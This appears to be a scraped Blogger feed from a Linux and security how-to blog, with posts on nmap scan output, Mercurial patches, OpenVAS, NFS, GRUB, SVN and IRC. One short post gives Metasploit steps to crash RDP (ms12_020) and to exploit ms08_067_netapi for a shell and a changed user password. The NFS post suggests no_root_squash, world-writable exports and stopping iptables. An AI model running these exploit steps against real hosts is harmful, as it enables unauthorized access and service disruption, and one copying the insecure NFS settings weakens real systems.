<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| NetBIOS name: IT-FS, NetBIOS user: <unknown>, NetBIOS MAC: 1c:6f:65:91:19:96</span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| Names</span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| IT-FS<00> Flags: <unique><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| IT-FS<20> Flags: <unique><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| IT-DEPT<00> Flags: <group><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| IT-DEPT<1c> Flags: <group><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| IT-DEPT<1e> Flags: <group><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| IT-DEPT<1d> Flags: <unique><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active></span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">|_ IT-DEPT<1b> Flags: <unique><active></span></div>
</div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span>
<span style="font-family: Georgia, Times New Roman, serif;">3. "<span style="color: red;">upnp-info</span>" script to extract system information from the UPnP service.</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span>
<b><span style="font-family: Georgia, Times New Roman, serif;">Example:</span></b><br />
<pre><span style="font-family: Georgia, Times New Roman, serif;"><span style="font-size: smaller;">$ </span><span style="color: red;">nmap -sV -sC 10.15.10.30</span></span></pre>
<pre style="font-size: smaller;"><span style="font-family: Georgia, Times New Roman, serif;">
</span></pre>
<div style="text-align: left;">
<span style="font-family: Georgia, Times New Roman, serif;"><b>Output:</b></span></div>
<pre><span style="font-family: Georgia, Times New Roman, serif;">Host script results:
<span style="color: #666666;">|_nbstat: NetBIOS name: IT-FS, NetBIOS user: <unknown>, NetBIOS MAC: 1c:6f:65:91:19:96
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| Name: IT-DEPT\IT-FS
|_ System time: 2013-07-19 14:41:14 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol</span><span style="font-size: smaller;">
</span></span></pre>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<pre style="font-size: smaller;"><span style="font-family: Georgia, Times New Roman, serif;">
</span></pre>
<pre style="font-family: 'Andale Mono', monospace; font-size: smaller;"></pre>
</div>
</div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5267091008358194058.post-75170985956303960882013-07-19T00:23:00.002+08:002013-09-27T00:11:09.613+08:00Creating a patch to checked-in for Mozilla<div dir="ltr" style="text-align: left;" trbidi="on">
To create a patch that can be easily checked-in by others make following settings on your computer.<br />
<br />
Create <span style="color: blue;">.hgrc</span> file in HOME directory (such as "/home/username"), if its not already created. Add following code to it.<br />
<br />
<span style="color: #666666;">[ui]</span><br />
<span style="color: #666666;">username=yyyy@xxxxx.zzz</span><br />
<span style="color: #666666;"><br /></span>
<span style="color: #666666;">[defaults]</span><br />
<span style="color: #666666;">diff = -p -U 8</span><br />
<span style="color: #666666;">qdiff = -p -U 8</span><br />
<span style="color: #666666;">qnew = -U</span><br />
<span style="color: #666666;"><br /></span>
<span style="color: #666666;">[diff]</span><br />
<span style="color: #666666;">git=1</span><br />
<span style="color: #666666;">showfunc=1</span><br />
<span style="color: #666666;">unified=8</span><br />
<br />
<span style="color: #666666;">[extensions]</span><br />
<span style="color: #666666;">mq =</span><br />
<br />
<br />
Save file and close it.<br />
<br />
To generate a patch on HG (mercurial) repository:<br />
<span style="color: #666666;">$ hg diff > patchfilename</span><br />
<br />
Discarding all local changes done in the HG (mercurial) repository:<br />
<span style="color: #666666;">$ hg revert -a</span><br />
<br />
<br />
<b>Use Mercurial Queuing extension to generate a patch for checked in:</b><br />
# setup the patch queue directory (Deprecated in 1.5)<br />
<span style="color: blue;">hg qinit</span><br />
<br />
# create a new patch named firstpatch<br />
<span style="color: blue;">hg qnew firstpatch</span><br />
<br />
# edit some files<br />
<span style="color: purple;">vi filename</span><br />
<br />
# update the patch to contain your changes<br />
<span style="color: blue;">hg qrefresh -m "Bug XXXXX - Testing message that goes with patch"</span><br />
<br />
# vi .hg/patches/firstpatch to see the result<br />
# print the current patch to the screen<br />
<span style="color: blue;">hg qdiff</span><br />
<br />
# make some more changes<br />
<span style="color: purple;">vi filename</span><br />
<br />
# see the differences not yet stored in the patch<br />
<span style="color: blue;">hg diff</span><br />
<br />
# update the patch<br />
<span style="color: blue;">hg qrefresh</span><br />
<br />
# Look at the patches you have applied<br />
# Look at all the patches in the queue<br />
<span style="color: blue;">hg qapplied</span><br />
<span style="color: blue;">hg qseries</span><br />
<br />
# remove the top patch<br />
<span style="color: blue;">hg qpop</span><br />
<br />
# apply the patch again<br />
<span style="color: blue;">hg qpush</span><br />
<br />
# remove all patches<br />
<span style="color: blue;">hg qpop -a</span><br />
<br />
# apply all patches<br />
<span style="color: blue;">hg qpush -a</span><br />
<br />
# Output all applied patches as a single patch<br />
<span style="color: blue;">hg diff -r qparent:qtip</span><br />
<br />
# update the commit message on a patch<br />
<span style="color: blue;">hg qrefresh -m "New Message"</span><br />
<br />
# Convert all applied patches into permanent changesets<br />
<span style="color: blue;">hg qfinish -a</span><br />
<span style="color: blue;"><br /></span>
<b>Patch to Upload on Bugzilla:</b><br />
It is available in the following folder location:<br />
<em style="background-color: white; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'DejaVu Sans', Lucida, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;"><span style="color: purple;">/your_repository_folder/.hg/patches/</span></em><br />
<em style="background-color: white; color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'DejaVu Sans', Lucida, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;"><br /></em>
<span style="background-color: white; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'DejaVu Sans', Lucida, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;">Or you can also use following command ot generate a patch to upload:</span><br />
<span style="background-color: white; font-size: 14px; line-height: 21px;"><span style="color: purple; font-family: Lucida Grande, Lucida Sans Unicode, DejaVu Sans, Lucida, Arial, Helvetica, sans-serif;"><i>hg export qtip > path_to_temp_patches/patchFileName.patch</i></span></span><br />
<em style="background-color: white; color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'DejaVu Sans', Lucida, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;"><br /></em></div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5267091008358194058.post-85790045411100710422013-07-18T19:09:00.000+08:002013-07-18T19:09:30.416+08:00Metasploit Usage for Exploitation<div dir="ltr" style="text-align: left;" trbidi="on">
This tutorial is very general and I will continue updating it whenever I will find exploits and time to update this post.<br />
<br />
<span style="color: red;">1. If <b>3389/tcp ms-term-serv </b>is open then using metasploit you can cause remote machine to reboot or stop this service.</span><br />
<br />
<span style="color: #444444;">$ msfconsole </span><br />
<span style="color: #444444;">msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids</span><br />
<span style="color: #444444;">msf auxiliary(ms12_020_maxchannelids) > set RHOST target-IP-Address</span><br />
<span style="color: #444444;">msf auxiliary(ms12_020_maxchannelids) > exploit</span><br />
<br />
Now rescan target computer, you will find that the <b>ms-term-serv</b> service is disabled.<br />
<br />
<span style="color: red;">2. Hacking Windows XP SP2/SP3 and get administrator access of the system. (Following exploit attacks on port 445)</span><br />
<br />
<span style="color: #444444;">$msfconsole</span><br />
<span style="color: #444444;">msf> use exploit/windows/smb/ms08_067_netapi</span><br />
<span style="color: #444444;">msf exploit(ms08_067_netapi) > set RHOST target-IP-Address</span><br />
<span style="color: #444444;">msf exploit(ms08_067_netapi) > exploit</span><br />
<span style="color: #444444;">meterpreter > shell</span><br />
<br />
<span style="color: #666666;">C:\Windows\System32\> net user</span><br />
<span style="color: #666666;">C:\Windows\System32\> net user userName password</span><br />
<br />
<br />
<br />
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-62324194739365156822013-07-17T15:49:00.002+08:002013-10-16T19:12:17.823+08:00OpenVAS Statup script for Kali linux<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on">
Following simple commands are useful to start openVAS on Kali linux.<br />
<br />
Create a file "script.sh" and copy paste following contents:<br />
<br />
<span style="color: blue;">#!/bin/bash</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">## Script by PATIL Kailas</span><br />
<span style="color: blue;">echo -e "Script to run openVAS by PATIL Kailas.\n"</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">##Setting up nvt sync</span><br />
<span style="color: blue;">echo "Syncing NVT Database..."</span><br />
<span style="color: blue;">openvas-nvt-sync</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">#echo "Updating SCAP Data Feed"</span><br />
<span style="color: blue;">#openvas-scapdata-sync</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">#echo "Updating CERT Feed.."</span><br />
<span style="color: blue;">#openvas-certdata-sync</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">## Starting Services</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">echo "Starting OpenVAS Services..."</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">/etc/init.d/./greenbone-security-assistant start</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">/etc/init.d/./openvas-scanner start</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">/etc/init.d/./openvas-administrator start</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">/etc/init.d/./openvas-manager start</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">echo -e "Services Started!\nPlease Login via the Web UI @ https://127.0.0.1:9392 and confirm the secuity exception. \nDefault Username is admin and the password is the one you created during setup.\n"</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">echo -e "Launching WebUI \n"</span><br />
<span style="color: blue;"><br /></span>
<span style="color: blue;">gnome-open https://127.0.0.1:9392</span><br />
<br />
<br />
Save file and run it whenever you want to use openVAS. </div>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-5267091008358194058.post-33772619965103486882013-03-11T18:23:00.002+08:002013-03-11T18:23:20.089+08:00Format Pen Drive (PD) or USB Drive on Ubuntu from Terminal<div dir="ltr" style="text-align: left;" trbidi="on">
To format a Pend drive from terminal use following steps:<br />
1. First of all connect your pen drive to computer and type the below command for know the name of your USB drive.<br />
<br />
<span style="color: blue;">$ dmseg | tail</span><br />
<br />
It will generate output as follows:<br />
<br />
<br />
<span style="color: #666666;">[20940.808432] sdb: sdb1</span><br />
<div>
<div>
<span style="color: #666666;">[20940.811241] sd 7:0:0:0: [sdb] Attached SCSI removable disk</span></div>
</div>
<div>
<br /></div>
<div>
2. Now unmount your pen drive using the following command:</div>
<div>
<br /></div>
<div>
<span style="color: blue;">$ sudo umount /dev/sdb1</span></div>
<div>
<br /></div>
<div>
3. Then enter the following command to format your pen drive with FAT32 partition.</div>
<div>
<br /></div>
<div>
<span style="color: blue;">$ sudo mkfs.vfat -n 'Ubuntu' -I /dev/sdb1</span></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-67684786040510499682013-02-05T12:34:00.001+08:002013-10-16T19:12:28.057+08:00Ubuntu 12.04 fresh installation failed to install GRUB<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on">
Ubuntu 12.04 LTS fresh installation even though completed successfully it might fail to install grub correctly on system. In such a situation to install grub you can follow following steps using LiveCD or bootable installation disk.<br />
<br />
Boot from LiveCD, open terminal and run following commands to note down drive and partition number on which Ubuntu is installed.<br />
<br />
<span style="color: #666666;">$sudo fdisk -l</span><br />
OR<br />
<span style="color: #666666;">$sudo df -h</span><br />
<span style="color: #666666;"><br /></span>
<span style="color: #666666;">$sudo blkid </span> #it gives more information on partition and file system type<br />
<br />
Now mount hard disk partition on which Ubuntu is installed.<br />
<span style="color: #666666;">$sudo mount /dev/saXY /mnt</span> <br />
Where <span style="color: red;">X</span> is <span style="color: red;">drive letter</span> such as a,b,c,, etc. and<br />
<span style="color: red;">Y</span> is <span style="color: red;">partition number</span> such as 1, 5, 6, 8, etc,<br />
<br />
For example:<br />
sudo mount /dev/sda8 /mnt<br />
<br />
Now install grub loader.<br />
<span style="color: #666666;">$sudo grub-install --boot-directory=/mnt/boot /dev/sdX </span><br />
For example:<br />
sudo grub-install --boot-rectory=/mnt/boot /dev/sda<br />
<br />
--boot-directory is folder in which GRUB is located. It is normally /boot. Note that in above command we only provided <span style="color: red;">sdX</span> as input. We didn't use<span style="color: red;"> Y</span> i.e. <span style="color: red;">partition number</span>.<br />
<br />
In command prompt, do not install grub loader when your are inside the /mnt directory or the directory where your target hard disk is mounted. It doesn't work sometime.<br />
<br /></div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5267091008358194058.post-51100443559788608352012-12-11T12:37:00.005+08:002012-12-11T12:45:42.532+08:00Being prompted for Password for '(null)' GNOME keyring<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: left;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">You can commit your project using subversion as follows:</span></div>
<div style="text-align: left;">
<span style="color: #666666; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">svn commit -m “Your comment message goes here ” - - username <yourusername></span></div>
<div style="text-align: left;">
<span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Then the following prompt should be displayed to you for committing your project successfully…</span></div>
<div style="text-align: left;">
<span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Password for ‘<yourusername>’:</span></div>
<div style="text-align: left;">
<span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">For this password, you should provide your </span><span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><yourusername></span><span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"> password assigned to you while hosting your project.</span></div>
<div style="text-align: left;">
<span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">First time commit to your project using </span><span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">svn commit</span><span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"> will work properly.</span></div>
<div style="text-align: left;">
<span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">However for subsequent commit to your project, you can get the prompt like...</span><br />
<span style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="text-align: left;">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Password for ‘(null)’ GNOME keyring:</span></div>
<div style="text-align: left;">
<span style="background-color: #eeeeee; color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; line-height: 23px;">The reason for above error message is multiple keyrings are present on a users system. All users will have a default keyring, and another which is only stored in memory. For each commit, </span><span style="background-color: #eeeeee; color: blue; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; line-height: 23px;">gnome-keyring</span><span style="background-color: #eeeeee; color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; line-height: 23px;"> stores the user details in another keyring. </span></div>
<div style="text-align: left;">
<span style="background-color: #eeeeee; color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; line-height: 23px;">To disable keyring, open the </span><span style="background-color: #eeeeee; color: purple; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; line-height: 23px;">config </span><span style="background-color: #eeeeee; color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; line-height: 23px;">file in the subversion from the home folder as follows:</span></div>
<div style="background-color: #eeeeee; border: 0px; line-height: 23px; outline: 0px; padding: 0px 0px 20px; text-align: left; vertical-align: baseline;">
<span style="color: #666666; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">patilkr@patilkr-desktop:~$ cd .subversion/</span><br />
<span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">patilkr@patilkr-desktop:~$ ls</span><br />
<span style="background-color: #999999; color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">auth config README.txt servers</span></div>
<div style="background-color: #eeeeee; border: 0px; line-height: 23px; outline: 0px; padding: 0px 0px 20px; text-align: left; vertical-align: baseline;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><span style="color: #444444;">Open the ‘</span><span style="color: purple;">config</span><span style="color: #444444;">’ file with any text editor,</span></span><br />
<span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">patilkr@patilkr-desktop</span><span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">:~/.subversion$ gedit config</span><br />
<span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Inside the text file, look for the line ‘</span><span style="color: #3d85c6; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">password-stores = no</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">’ under ‘</span><span style="color: #674ea7; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">[auth]</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">‘ section and uncomment it & remove the value ‘</span><span style="color: #3d85c6; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">no</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">’ for it to look like ‘</span><span style="color: #3d85c6; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">password-stores =</span><span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"> </span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">‘. </span><br />
<span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Then, save and close config file.</span><br />
<span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Finally, open another file named ‘</span><span style="color: purple; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">servers</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">’ in any text editor,</span><br />
<span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">patilkr@patilkr-desktop</span><span style="color: #666666; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">:~/.subversion$ gedit servers</span><br />
<span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Inside the text file, look for the line ‘</span><span style="color: #3d85c6; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">store-passwords = no</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">’ under ‘</span><span style="color: purple; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">[global]</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">‘ section and just uncomment it. </span><br />
<span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Then, save and close ‘</span><span style="color: purple; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">servers</span><span style="color: #444444; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">’ file.</span></div>
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-15163870207656044732012-09-19T15:12:00.002+08:002012-09-19T15:12:32.881+08:00User Specified Content Security Policy<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div style="background-color: white; color: #303030; font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 1.5em; padding: 0px;">
A <a href="http://blog.mozilla.org/security/2011/03/22/creating-a-safer-web-with-content-security-policy/" style="color: #576b92; text-decoration: none;" title="Content Security Policy">Content Security Policy</a> is a declarative policy that restricts what content can load on a page. Its primary purpose is to mitigate <a href="http://wikipedia.org/wiki/Cross-site_scripting" style="color: #576b92; text-decoration: none;" title="Cross-Site Scripting">Cross-Site Scripting</a> vulnerabilities. The core issue exploited by Cross-Site Scripting (XSS) attacks is the lack of knowledge in web browsers to distinguish between content that’s intended to be part of web application, and content that’s been maliciously injected into web application.</div>
<div style="background-color: white; color: #303030; font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 1.5em; padding: 0px;">
To address this problem, CSP defines the Content-Security-Policy HTTP header that allows web application developers to create a whitelist of sources of trusted content, and instruct the client browsers to only execute or render resources from those sources. However, it is often difficult for developers to write a comprehensive Content Security Policy for their website. They may worry about breaking their page by blocking unanticipated but necessary content. They may not be able to easily change the CSP header for their site, which makes it challenging for them to experiment with policies until they find one that best protects their page without breaking site functionality.</div>
<div style="background-color: white; color: #303030; font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 1.5em; padding: 0px;">
<em><strong>UserCSP changes this!</strong> </em> A developer can now view the current policy applied to their site and create their own custom policy. They can choose to apply their custom policy on the site, or even combine their policy with the website’s existing policy. When combining policies, they have an option to choose from the strictest subset of the two, or the most lax subset. They can locally test their site with the custom policy applied and tweak the policy until they have one that works.</div>
<div style="background-color: white; color: #303030; font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 1.5em; padding: 0px;">
The coolest feature of UserCSP is the Infer-CSP tab. This feature can help a developer derive a usable and secure policy for their site. By looking at the content the website loads, the add-on determines the strictest set of CSP rules it can apply to the site without breaking the current page. The inferred policy is provided in the proper syntax for the CSP Header, so all a developer needs to do is start serving this policy for their site via the CSP header.</div>
<div style="background-color: white; color: #303030; font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px; margin-bottom: 1.5em; padding: 0px;">
Please visit <a href="https://blog.mozilla.org/tanvi/2012/09/18/user-specified-content-security-policy/" target="_blank">Tanvi's Blog on Mozilla</a> for more information. </div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-51120903506108956822012-08-27T13:06:00.001+08:002013-10-16T19:12:40.805+08:00Configure NFS on Ubuntu<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on">
Network File System (NFS) is useful to share space on other computers.<br />
<br />
In this scenario we are going to configure NFS server on <span style="color: red;">10.1.1.15</span> host and NFS client on <span style="color: purple;">10.1.1.17</span> machine.<br />
<br />
<span style="color: blue;"><b>1. Prerequisites</b></span><br />
Install <span style="color: #444444;">nfs-common</span> package on both NFS client and NFS server using following command.<br />
<br />
<span style="color: #666666;"> $ sudo apt-get install nfs-common</span><br />
<br />
Additionally we need to install extra package on NFS server (<span style="color: red;">10.1.1.15</span>)<br />
<br />
<span style="color: #666666;"> $ sudo apt-get install nfs-kernel-server</span><br />
<br />
This package is the actual NFS daemon listenning on both UDP and TCP 2049 ports. And portmap should be waiting for instructions on a port 111.<br />
<br />
<span style="color: blue;"><b>2. Create NFS Share on NFS Server (10.1.1.15)</b></span><br />
Create a directory to share on NFS server(<span style="color: red;">10.1.1.15</span>).<br />
<br />
Run following command on NFS server.<br />
<br />
<span style="color: #666666;">$ mkdir /home/kailas</span><br />
<br />
<span style="color: blue;"><b>3. Apply Access Control Rules</b></span><br />
<br />
In our scenario we want only <span style="color: purple;">10.1.1.17</span> to access the nfs share.<br />
<br />
Therefore, open<span style="color: blue;"> /etc/exports</span> file in any text editor (such as vi, gedit, or emacs) on NFS server (<span style="color: red;">10.1.1.15</span>).<br />
<br />
Add following line in (/etc/exports) file.<br />
<br />
<b>A. Read/Write Permissions</b><br />
<br />
<span style="color: #666666;">/home/kailas/ 10.1.1.17(rw,sync)</span><br />
<br />
Above line specifies that export <span style="color: lime;">/home/kailas</span> directory for host with IP <span style="color: purple;">10.1.1.17</span> with <b>read, write permissions, synchronized mode</b>.<br />
<br />
<br />
<b>B. Only Read Permissions</b><br />
<br />
If you don't want to give write permission and only want to give read permission to client (<span style="color: purple;">10.1.1.17</span>) then instead of above line use following line.<br />
<br />
<span style="color: #666666;">/home/kailas/ 10.1.1.17(ro,sync)</span><br />
<br />
<b>C. Read/Write + Root privileges</b><br />
<br />
<span style="color: #666666;"> /home/kailas/ 10.1.1.17(rw,sync,no_root_squash)</span><br />
<br />
Above line in "/etc/exports" file will export <span style="color: lime;">/home/kailas</span> directory for host with an IP address 10.1.1.17 with read, write permissions, synchronized mode and the remote root user will be treated as a root and will be able to change any file and directory.<br />
<br />
<b>D. Read/Write Privilege to all computers on network</b><br />
<br />
<span style="color: #666666;">/home/kailas/ *(rw,sync)</span><br />
<br />
Above line indicates, export <span style="color: lime;">/home/kailas</span> directory for any host with read, write permissions and synchronized mode.<br />
<br />
<br />
<b>E. Read Privilege to All computers on network</b><br />
<br />
<span style="color: #666666;">/home/kailas/ *(ro,sync)</span><br />
<span style="color: #666666;"><br /></span>
Above line indicates, export <span style="color: lime;">/home/kailas</span> directory for any host with read only permissions and synchronized mode.<br />
<br />
<br />
<span style="color: blue;"><b>3. Restart NFS daemon</b></span><br />
<br />
Use following command on Ubuntu to restart NFS service.<br />
<br />
<span style="color: #666666;">$ sudo /etc/init.d/nfs-kernel-server restart </span><br />
<br />
<span style="color: #a64d79;">Note: After any modification you will made in "/etc/exports" file please restart NFS service to reflect your changes. </span><br />
<br />
<br />
<b><span style="color: blue;">4. Mount NFS directory on client (10.1.1.17) machine</span></b><br />
<br />
NFS client needs portmap service, simply install nfs-comman package on client (<span style="color: purple;">10.1.1.17</span>)<br />
<br />
<span style="color: #666666;"> $ sudo apt-get install nfs-common</span><br />
<br />
<br />
Make sure portmap service is running:<br />
<span style="color: #666666;"> $ sudo service portmap status</span><br />
<br />
Sample outputs:<br />
portmap start/running, process 4193<br />
<br />
If not just start it:<br />
<span style="color: #666666;"> $ sudo service portmap start</span><br />
<br />
Create a mount directory on Client (10.1.1.17)<br />
<span style="color: #666666;"> $ sudo mkdir /nfs</span><br />
<br />
<span style="background-color: #eeeeee; font-family: Consolas, 'Andale Mono', Monaco, Courier, 'Courier New', Verdana, sans-serif; font-size: 12px; line-height: 17.983333587646484px;"><b><span style="color: #666666;">$ sudo mount 10.1.1.15:/home/kailas /nfs/</span></b></span><br />
<br />
To see the content of the directory use following command.<br />
<span style="color: #666666;">$ ls /nfs</span><br />
<br />
<br />
<b><span style="color: blue;">5. Configure automount</span></b><br />
<br />
To make this completely transparent to end users, you can automount the NFS file system every time a user boots a Linux system. Simply edit "<span style="color: #b45f06;">/etc/fstab</span>" to mount system automatically during a system boot. You can use your favorite editor and create new line like this within <span style="color: #b45f06;">/etc/fstab</span>:<br />
<br />
<span style="color: #666666;">10.1.1.15:/home/kailas /nfs/ nfs defaults 0 0</span><br />
<br />
<br />
<b><span style="color: blue;"> 6. Appendix</span></b><br />
<br />
If above steps doesn't work then please try to stop <b>iptables</b> or configure iptable rules to allow nfs communication.<br />
<br />
<span style="color: #666666;"># service iptables stop</span><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br /></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-17023823440888982172012-04-27T14:18:00.002+08:002015-02-14T13:56:06.252+08:00IRC command help<div dir="ltr" style="text-align: left;" trbidi="on">
The goal of this post is to play with some IRC commands.<br />
<br />
<b>To Register your nickname:</b><br />
<span style="color: #0b5394;">/msg nickserv register [password] [your@email.address.com]</span><br />
You should substitute an actual password for [password] and actual email address for [your@email.address.com]. You don't need the "["brackets"]".<br />
<br />
<b>To identify yourself to IRC nickserv:</b><br />
<span style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19.046875px;">If your nickname is registered you can use the following command to identify to it (ensure your current nickname is that of the one you want to identify to):</span><br />
<span style="color: #0b5394;">/msg nickserv identify [password]</span><br />
You should substitute an actual password for [password].<br />
<br />
There are actually a number of ways to identify to a nickname. You can also identify to a nickname that you are not using at the time.<br />
<span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">/nickserv identify [</span><em class="param" style="background-color: white; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">nickname</em><span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">] </span><em class="param" style="background-color: white; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">password</em><br />
<br />
Example:<br />
